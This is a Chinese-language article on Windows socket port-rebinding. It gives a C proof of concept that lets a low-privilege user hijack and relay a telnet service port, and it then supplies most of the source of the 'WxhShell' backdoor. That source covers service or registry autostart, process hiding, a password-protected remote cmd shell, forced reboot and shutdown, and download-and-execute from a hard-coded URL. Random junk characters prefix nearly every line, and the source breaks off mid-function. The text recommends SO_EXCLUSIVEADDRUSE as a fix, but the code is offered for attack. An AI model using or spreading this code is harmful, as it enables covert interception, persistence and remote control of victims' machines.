在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#o9CC)q5G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
jO|`aUYTf ,Mi'NO saddr.sin_family = AF_INET;
/BvMNKb$$ TcJJ"[0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Qz%q#4Zb ZrA*MN bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(x.qyYEoI Fi\)ka\u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|ITb1O`_P x2aG5@<3 这意味着什么?意味着可以进行如下的攻击:
gTB|IcOs $ndBT+i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]Y76~!N z7)$m0',? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gm8JxhL (nuTfmt> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
SMRCG"3qwA @T>^
> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"&^KnWk= 7^UY%t 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;E5XH"L\ T
g3MPa#g 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&TrL!9FtJ >1]hR)Ip 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
PU B0H 0Q,Tcj #include
gSyBoY #include
Uspv^O9_ #include
{TMng& #include
qs_cC3"=%= DWORD WINAPI ClientThread(LPVOID lpParam);
uGW#z_{(n int main()
B>\q!dX3 {
C#1'kQO WORD wVersionRequested;
F{.g05^y DWORD ret;
6cbV[!BL WSADATA wsaData;
I69Z'}+qz BOOL val;
]gv3|W SOCKADDR_IN saddr;
O*,O]Q SOCKADDR_IN scaddr;
KZ^>_K& int err;
wc"~8Ah SOCKET s;
qf<o"B|_9 SOCKET sc;
'.S02=/ int caddsize;
{Dy,|}7s HANDLE mt;
b'R]DS{8 DWORD tid;
.W2w/RayC wVersionRequested = MAKEWORD( 2, 2 );
\:q @I]2 err = WSAStartup( wVersionRequested, &wsaData );
QyZ'%T5J if ( err != 0 ) {
XH/!A`ZK printf("error!WSAStartup failed!\n");
D@[#7:rHL return -1;
-HuIz6 }
HJpx,NU' saddr.sin_family = AF_INET;
?6x&A t yGC
HWP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}NdLd! !,5qAGi0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
DZb0'+jQ saddr.sin_port = htons(23);
*H=h7ESq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T%Zfo7 {
6Rq +=X printf("error!socket failed!\n");
yOb'] return -1;
mRGr+m }
nKtRJ,> val = TRUE;
{BaPK&x, //SO_REUSEADDR选项就是可以实现端口重绑定的
=T?Xph{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
i??+5o@uTF {
ymqn1ja1 printf("error!setsockopt failed!\n");
O<Ay`p5 return -1;
<4 /q5*& }
|q\i, } //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cSG(kFQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s+G(N$0U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
dpt P(H ZGCp[2$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\RFA?PuY {
/;21?o ret=GetLastError();
)fS6H<* printf("error!bind failed!\n");
EKsOj&ZiJ return -1;
o@aXzF2 }
PG|Zu3[ listen(s,2);
Py+ B 2G| while(1)
M;KeY[u {
u3UN caddsize = sizeof(scaddr);
BZXee>3" //接受连接请求
t 0p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'9<8<d7? if(sc!=INVALID_SOCKET)
r4K%dx-t {
HyYJ"54 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,5 3`t if(mt==NULL)
j0Os]a {
]lE5^<<
printf("Thread Creat Failed!\n");
aSHN*tP%y break;
uz=9L<$ }
\lDh" }
6ZjY-)h CloseHandle(mt);
JV/:QV }
d$?+>t/ closesocket(s);
HFz;"s3lWM WSACleanup();
5,|{|/ return 0;
H,j_2JOY= }
G[OJ<px DWORD WINAPI ClientThread(LPVOID lpParam)
9~K+h/ {
Lc-WfzT SOCKET ss = (SOCKET)lpParam;
3qV\XC+ SOCKET sc;
Z*NTF:6c unsigned char buf[4096];
9uX15a SOCKADDR_IN saddr;
Hf30ve} long num;
uo|:n"v DWORD val;
Y[>`#RhP DWORD ret;
~rAcT6# //如果是隐藏端口应用的话,可以在此处加一些判断
V^}$f3\B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6bf!v saddr.sin_family = AF_INET;
5pHv5e saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
V;~\+@ saddr.sin_port = htons(23);
"#f5jH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-h8Z@r~a/ {
6D{70onY+ printf("error!socket failed!\n");
G2|G}#E return -1;
, BZ(-M }
,eqRI>,\ val = 100;
X?`mYoe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M%SNq|Lo {
%Z*)<[cIE0 ret = GetLastError();
KXWz(L!1 return -1;
v`6vc)>8 }
/WX&UAG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ru);wzky {
@bnw$U`+ ret = GetLastError();
Q(BZg{ return -1;
6IJ;od.\b$ }
Ou
f \%E< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
eOZ~p {
8N<mV^|} printf("error!socket connect failed!\n");
{q;_Dd closesocket(sc);
.I^Y[_.G closesocket(ss);
;2sP3!* return -1;
KWi|7z(L= }
tejpY while(1)
'I r {
mFd|JbW //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
KyqP@
{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
jz\>VYi(7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6hXh;-U num = recv(ss,buf,4096,0);
plNw>rFa if(num>0)
YelF)Na send(sc,buf,num,0);
7|!Zx-} else if(num==0)
l#p?lBm1 break;
'I2[}>mj2 num = recv(sc,buf,4096,0);
``rYzj_ if(num>0)
<0jM07\< send(ss,buf,num,0);
Q,ZV C else if(num==0)
KT*"Sbh break;
._.Qf<7 }
Yb:F,d-Ya closesocket(ss);
swLNNA. closesocket(sc);
Jt?`(H return 0 ;
|Fq\%y# }
m/,8\+ GQE7P() a% /x ==========================================================
{OS[0LB wDBU+Z 下边附上一个代码,,WXhSHELL
m?;/H Q7mikg=1- ==========================================================
ZA'0q -KqMSf&9 #include "stdafx.h"
hN!{/Gc| ^j1G08W #include <stdio.h>
:e}j$vF
#include <string.h>
eX0[C0# #include <windows.h>
<LX-},?P #include <winsock2.h>
d%p{l)Hd #include <winsvc.h>
Y"m}=\4{ #include <urlmon.h>
$:vS_# R+Ug;r-[ #pragma comment (lib, "Ws2_32.lib")
T~?&hZ> #pragma comment (lib, "urlmon.lib")
m*KI'~#$% 1ZvXRJ)% #define MAX_USER 100 // 最大客户端连接数
%F:; A #define BUF_SOCK 200 // sock buffer
g12.4+ #define KEY_BUFF 255 // 输入 buffer
T[J8zLO "VMb1Zhf #define REBOOT 0 // 重启
b.)jJLWv@ #define SHUTDOWN 1 // 关机
:n?rk/ F .j"@7#tW #define DEF_PORT 5000 // 监听端口
u|Ng>lU ~cfvL*~5 #define REG_LEN 16 // 注册表键长度
\GGyz{i #define SVC_LEN 80 // NT服务名长度
W!* P _0Y?(} // 从dll定义API
#aKUD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
JPg^h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
QS-X_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RgzzbW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[o
6 W"tGCnd // wxhshell配置信息
)k4&S{= struct WSCFG {
?H8dyQ5" int ws_port; // 监听端口
d"lk"R char ws_passstr[REG_LEN]; // 口令
:y_]JL;w int ws_autoins; // 安装标记, 1=yes 0=no
"R%
RI(
y{ char ws_regname[REG_LEN]; // 注册表键名
xhMAWFg| char ws_svcname[REG_LEN]; // 服务名
o9OCgP`Y char ws_svcdisp[SVC_LEN]; // 服务显示名
X*&Thmee char ws_svcdesc[SVC_LEN]; // 服务描述信息
9]I{GyH char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mCQ:<# int ws_downexe; // 下载执行标记, 1=yes 0=no
iD>H{1 h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
NpS =_QeNw char ws_filenam[SVC_LEN]; // 下载后保存的文件名
IPt
!gSp z|$9%uz" };
'GLpSWL+* QEF$Jx // default Wxhshell configuration
(!9+QXb' struct WSCFG wscfg={DEF_PORT,
Ghar
hJ>v "xuhuanlingzhe",
d8p5a
C+E 1,
=(v'8?-- "Wxhshell",
zV"'-iP "Wxhshell",
<."
@H<-`* "WxhShell Service",
LeNSjxB "Wrsky Windows CmdShell Service",
m'uFj ! "Please Input Your Password: ",
"@Qg]#]JH 1,
C879eeJ "
http://www.wrsky.com/wxhshell.exe",
@r\{iSg&g. "Wxhshell.exe"
q/qig5Ou };
G"Hj$ :_o^oi7G // 消息定义模块
Qm*X Wo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\\`(x:\ char *msg_ws_prompt="\n\r? for help\n\r#>";
y
QGd<( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}!m}? char *msg_ws_ext="\n\rExit.";
?Q"1zcX char *msg_ws_end="\n\rQuit.";
?0lz!Nq'S char *msg_ws_boot="\n\rReboot...";
P5lk3Zg' char *msg_ws_poff="\n\rShutdown...";
Iq
0ew char *msg_ws_down="\n\rSave to ";
f#gV>.P;h\ `A8ErfA char *msg_ws_err="\n\rErr!";
sR)jZpmC( char *msg_ws_ok="\n\rOK!";
iMQ0Sq-%1 (N`GvB7; char ExeFile[MAX_PATH];
}R_Rw:W int nUser = 0;
d\r-)VWSr" HANDLE handles[MAX_USER];
F]s:`4 int OsIsNt;
x_wWe>0 `dRqheX SERVICE_STATUS serviceStatus;
BteeQ&A|~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
uhB
V)Qg X<g
}F[Y // 函数声明
D?4bp'0 3 int Install(void);
4EaxU !BT int Uninstall(void);
d *#.(C9^ int DownloadFile(char *sURL, SOCKET wsh);
7&w| int Boot(int flag);
f|~X}R void HideProc(void);
b|\dHi2FT int GetOsVer(void);
Mu6DTp~k int Wxhshell(SOCKET wsl);
-]QP#_
void TalkWithClient(void *cs);
er3`ITp:dp int CmdShell(SOCKET sock);
CW]Th-xc int StartFromService(void);
@R (Op|9 int StartWxhshell(LPSTR lpCmdLine);
buhbUmQ2 Q&/WVRD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
K@a#^lmd VOID WINAPI NTServiceHandler( DWORD fdwControl );
R 'fEw3^ QH?sx k2 // 数据结构和表定义
Bi>]s%zp SERVICE_TABLE_ENTRY DispatchTable[] =
_7dp(R {
,,lR\!>8 {wscfg.ws_svcname, NTServiceMain},
5gb:,+ {NULL, NULL}
uJ0Wb$% };
`oM'H+ Z_[L5B]Gwd // 自我安装
!-ZY_ int Install(void)
#er% q: {
^1_CS* char svExeFile[MAX_PATH];
l\|sHn/ HKEY key;
nwIj?(8x strcpy(svExeFile,ExeFile);
]0W64cuT e&!8UYP // 如果是win9x系统,修改注册表设为自启动
5Sb-Bn if(!OsIsNt) {
&2I8!Ia if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WuTkYiF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"{zqXM}:C RegCloseKey(key);
ImbA2Gcs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;^|):x+O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s d = bw RegCloseKey(key);
m)Wq*&,o return 0;
Jm"W+! E }
>P//]nn }
jBl$r{L }
@#;*e] 1a else {
\C4wWh-A pWP1$;8 // 如果是NT以上系统,安装为系统服务
<qEBF`XP = SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:[0)Uu{ if (schSCManager!=0)
.K`n;lVs {
-<M+ $hK\ SC_HANDLE schService = CreateService
^66OzT8A (
=YD<q:n4 schSCManager,
ukRmjHbLf wscfg.ws_svcname,
$aN%[ wscfg.ws_svcdisp,
aIh} j, SERVICE_ALL_ACCESS,
*B9xL[} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
($W%&(:/ SERVICE_AUTO_START,
}>V=J aG SERVICE_ERROR_NORMAL,
*zW]IQ'A svExeFile,
Ex
skd} NULL,
v5U'ky: NULL,
9<3fH J?vq NULL,
#zBqj;p NULL,
hMUUnr"8;i NULL
-= izu]Fb, );
bW=3X-) if (schService!=0)
gyhy0 {
dczSW]% CloseServiceHandle(schService);
]Tg@wMgI CloseServiceHandle(schSCManager);
q?@* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v>N*f~n strcat(svExeFile,wscfg.ws_svcname);
\&ki79Ly- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
AWssDbh/[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8=zREt<Se RegCloseKey(key);
oXN(S:ZF return 0;
CF@*ki3X }
3i'01z }
VL'wrgk CloseServiceHandle(schSCManager);
:{B']~Xf }
w0vsdM;G }
uZ'Z-!=CL #9~,d<H return 1;
5% }!z~8Y4 }
_6'@#DN 5UG9&:zu'V // 自我卸载
]lqZ9rO int Uninstall(void)
P ?nk> {
gsl_aW! HKEY key;
8Op^6rX4 jzBW'8 if(!OsIsNt) {
_*b`;{3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
leI ]zDk= RegDeleteValue(key,wscfg.ws_regname);
%~8f0B|im RegCloseKey(key);
E> $_
$' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pZ3sp! RegDeleteValue(key,wscfg.ws_regname);
T<NOLfk66 RegCloseKey(key);
[-\U)>MY(p return 0;
.D\oKhV( }
96J]g*o(uU }
+{C)^!zBK }
d2^/ else {
K_-m:P hZ!kh3@:` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"?lz[K> if (schSCManager!=0)
GIn%yB' {
`!(%Rk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lNtxM"G& if (schService!=0)
1i_%1Oip {
3la `S$c if(DeleteService(schService)!=0) {
a|.IAxJ CloseServiceHandle(schService);
Q"GM3? CloseServiceHandle(schSCManager);
F`2h,i-9 return 0;
j+{cc: h"X }
7YK6e CloseServiceHandle(schService);
>]C/ Q6 }
m g@Ol"2 CloseServiceHandle(schSCManager);
(@qS }
AE~@F4MK }
C=v+e%)x@ +v:]#1 return 1;
:]CL}n$* }
Oh>hyY)} @)vQ>R\k< // 从指定url下载文件
~(huUW int DownloadFile(char *sURL, SOCKET wsh)
z8]@Gh+
( {
v ?}0h5 HRESULT hr;
$xq04ejJ char seps[]= "/";
OLm@-I* char *token;
n;$u%2 t2 char *file;
yWE\)]9 char myURL[MAX_PATH];
D
.LR-Z char myFILE[MAX_PATH];
DHx&%]r;D $!y^t$u$@ strcpy(myURL,sURL);
JYA>Q& token=strtok(myURL,seps);
hvNK"^\p while(token!=NULL)
(2M00J-o {
/c 7z[| file=token;
+R HiX!PG token=strtok(NULL,seps);
\~(kGE--+ }
$`ptSR "#-iD GetCurrentDirectory(MAX_PATH,myFILE);
(Z[c7 strcat(myFILE, "\\");
y'I
m/{9U strcat(myFILE, file);
%#eQN
~ send(wsh,myFILE,strlen(myFILE),0);
A'b$X1h send(wsh,"...",3,0);
8"g+
k`PRy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
W[
W)q%[) if(hr==S_OK)
r
jxkgd return 0;
B8n[ E else
Ip=QtNW3\ return 1;
rqdN%=C %"fO^KA.h] }
q5-i=lw @xa$two // 系统电源模块
W6i9mER- int Boot(int flag)
!G0Mg; , {
VwZ~ntk HANDLE hToken;
;in-)`UC! TOKEN_PRIVILEGES tkp;
:yJ([ ^_DwuY if(OsIsNt) {
B@0#*I
Rm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~> lqEa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
U` HY
eJ tkp.PrivilegeCount = 1;
YM'4=BlJHv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
CI$z+zN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
{6:*c if(flag==REBOOT) {
#OM)71kB8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<OKc?[ return 0;
ag47 $9( }
alHA&YC{K else {
a%si:_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ty
rP[y return 0;
-WF((s;<# }
/V/NL#(R }
|3!) else {
ha=2isq if(flag==REBOOT) {
2ww
H3} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Q1x&Zm1v return 0;
Lw_|o[I} }
" M?dU^U^ else {
udA@9a^; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4
l-UrnZ return 0;
Tq?Ai_
}
qTdwi?j_ }
ZAN~TG<n >(.|oT\Tb return 1;
=#y;J(>~| }
PQSmBTs. KA?%1s(kJ // win9x进程隐藏模块
sCrP+K0D void HideProc(void)
,zHL8SiTX {
tcv(<0 V,d\Wk k/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
O_4B>
)zd if ( hKernel != NULL )
k_wcol,W {
5 m-/N?c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$`/UG0rdC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
w?|qKO FreeLibrary(hKernel);
;
YQB }
g@4~, [R%*C9Y d return;
4W*o:Y! }
K$/"I0YyI 'b}RFzEn // 获取操作系统版本
EC[]L'IL int GetOsVer(void)
:adz~L$ {
OQKg/1 OSVERSIONINFO winfo;
5>0\= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
KRT&]2 GetVersionEx(&winfo);
5o>`7(t` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Z.Z;p/4F return 1;
~//E'V- else
wLqj<ot return 0;
Qr3!6 }
_",(!( L@6]~[JvP // 客户端句柄模块
KhB775 int Wxhshell(SOCKET wsl)
eUB!sR% {
"49dsKIOH SOCKET wsh;
*Ic^9njt struct sockaddr_in client;
UhS:tT]7 DWORD myID;
z`E=V m+s*Io{Ip while(nUser<MAX_USER)
63Gq5dF {
+ynhN\S$/ int nSize=sizeof(client);
wyB]!4yy, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
eQ#i.% if(wsh==INVALID_SOCKET) return 1;
}kvix{ $[fq Th handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8_HBcZWs if(handles[nUser]==0)
Nr2,m"R{ closesocket(wsh);
nf"#F@dk else
+<[ q"3 nUser++;
uE9,N$\L_ }
7R:Ij[dV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
y _"V=: ROQ]sQpk return 0;
a_5s'Dh }
{Oy|c t7x<=rW7u // 关闭 socket
a}FyJp void CloseIt(SOCKET wsh)
6#CswSpS {
#vyf*jPr closesocket(wsh);
cw
2!V@ nUser--;
54>0Dv??H ExitThread(0);
O]=jI }
1aRTvaGo bs)wxU`Q* // 客户端请求句柄
\l/}` w void TalkWithClient(void *cs)
*|\bS " {
q&v~9~^}d !10/M SOCKET wsh=(SOCKET)cs;
rmkBp_i{| char pwd[SVC_LEN];
K\U`gTGc char cmd[KEY_BUFF];
IMqe( char chr[1];
{*GBUv5 int i,j;
H6 x T&pCLvkz while (nUser < MAX_USER) {
oydP}X =&UE67eK, if(wscfg.ws_passstr) {
WcKDerc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qX-5/;n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ah7"qv'L\ //ZeroMemory(pwd,KEY_BUFF);
)?#K0o[< i=0;
@hg[v`~ while(i<SVC_LEN) {
N^[
F+y >VIFQ\ // 设置超时
2ak]&ll+h fd_set FdRead;
k
$^/$N struct timeval TimeOut;
95@u|#n FD_ZERO(&FdRead);
q5e(~@(z<` FD_SET(wsh,&FdRead);
%+j/nA1%S TimeOut.tv_sec=8;
N)Q_z9b= TimeOut.tv_usec=0;
v0 :n:q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
A9BoH[is7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
qfJ2iE|o2. `Ze$Bd\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
JX5/PCO pwd
=chr[0]; 0$Rn|yqf%
if(chr[0]==0xd || chr[0]==0xa) { ~\NQkaBkY
pwd=0; |Vz)!M
break; ]`x+wWe
} q`2dL)E
i++; ">wvd*w0"(
} e7xv~C>g
o}KVT%}
// 如果是非法用户,关闭 socket w@,p`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?B ,<gen
} #!O)-dyF
|Ol29C$@|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^|Fy!kp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _dk[k@5W{'
Pa d)|
while(1) { vf.MSk?~ar
7 "'PfP4c
ZeroMemory(cmd,KEY_BUFF); A8mc+ Bf(
>>KI_$V
// 自动支持客户端 telnet标准 18F}3t??
j=0; AA,/AKikd
while(j<KEY_BUFF) { +5|k#'%5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PV~D;
cmd[j]=chr[0]; cb)7$S
if(chr[0]==0xa || chr[0]==0xd) { OjlX<y.
cmd[j]=0; @uRJl$3
break; d5Ae67
} Gy):hGgN
j++; D^%IFwU^
} X5.9~
GBBr[}y-
// 下载文件 LhAW|];
if(strstr(cmd,"http://")) { `O2P&!9&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); yD& Y`f#
if(DownloadFile(cmd,wsh)) y'^U4# (
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DQW)^j
h
else L{jx'[C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D
)`(b
} &\6},JN
else { aeN #<M&$<
9Xg7=(#
switch(cmd[0]) { FvVC 2Z
=Y|( }92
// 帮助 Q+Q"J U
case '?': { $<)]~**K
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
hq{{XQ
break; zL+t&P[\
} B$2GEg]Ri
// 安装 $-UVN0=
case 'i': { .E^w, o
if(Install()) %(&ja_oO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8~Zw"
else %JSRC<,a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O(%6/r`L,k
break; 3\P*"65
} Gf#l ^yr
// 卸载 %"(HjanH
case 'r': { L%$-?O|
if(Uninstall()) 7:LEf"vRZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \`~YW<D
else E]n]_{BN]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ICSh8C
break; T\p>wiY2|F
} 8k:^( kByF
// 显示 wxhshell 所在路径 !$1qnsz
case 'p': { <h9nt4F
char svExeFile[MAX_PATH]; baG_7>Q9H
strcpy(svExeFile,"\n\r"); .up[wt gN
strcat(svExeFile,ExeFile); U'F}k0h?\'
send(wsh,svExeFile,strlen(svExeFile),0); dO2?&f
break; <S7SH-{_\
} ly34aD/p~,
// 重启 q
6UZ`9&z
case 'b': { lbt8S.fx
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D1-w>Y#
if(Boot(REBOOT)) pm=O.)g4`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ag\RLJ.KD
else { 5>%^"f
closesocket(wsh); U`3?bhzua
ExitThread(0); x^)?V7[t
} xa'U_]m
break; J/Y9 X,
} 55.2UN
// 关机 &uE )Vr4 R
case 'd': { N`IXSE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~),%w*L
if(Boot(SHUTDOWN)) /y{fDCC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?,riwDI 2
else { AKjobA#
closesocket(wsh); /f?;,CyI
ExitThread(0); #FAW@6QG
} 6P>Y2xV:
break; (Q||5
} d!T,fz/-.
// 获取shell %K3U`6kHcd
case 's': { XQ[\K6X5
CmdShell(wsh); ] H;E(1iU
closesocket(wsh); @BnK C&{
ExitThread(0); d_$0
break; -:d{x#
} dL4VcUS.
// 退出 |Tmug X7
case 'x': { f2gh|p`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rz|Sjtq
CloseIt(wsh); 'qiAmaX
break; ~ u1~%
} BTr;F]W
// 离开 1yF9zKs&_
case 'q': { Y9f7~w^s
send(wsh,msg_ws_end,strlen(msg_ws_end),0); r0k:RJP
closesocket(wsh); x1wD`r
WSACleanup(); H(n
fHp.3
exit(1); S"Vr+x?
break; "dv\
9O
} uy"i3xD6-
} 9:RV5Dt
} -tWxBGSa@
4Yok,<
// 提示信息 dbEXlm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -}T7F+
} K'8?%&IQ
} 4IW90"uc
7lF;(l^Z>}
return; l<=k#d
} N4VZl[7?
}T}c%p
// shell模块句柄 emJZ+:%
int CmdShell(SOCKET sock) "dndhoMq
{ !X"nN9k
STARTUPINFO si; '.pGkXyQ
ZeroMemory(&si,sizeof(si)); ]5*H/8Ke7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -ys/I,}<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #gWok'ZcR
PROCESS_INFORMATION ProcessInfo; rLD1Cpeb,w
char cmdline[]="cmd"; @~$=96^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?\4kV*/Cqz
return 0; $Nvox<d0
} )2W7>PY
-u~:Gd*l0
// 自身启动模式 ?S=y>b9R
int StartFromService(void) dmkGIg}
{ I31Nu{
typedef struct d/oD]aAEr
{ h8.(Q`tli
DWORD ExitStatus; 0nI*9
DWORD PebBaseAddress; `3[W~Cq
DWORD AffinityMask; {7IZN< e
DWORD BasePriority; {be|G^.c
ULONG UniqueProcessId; A`vRUl,c=
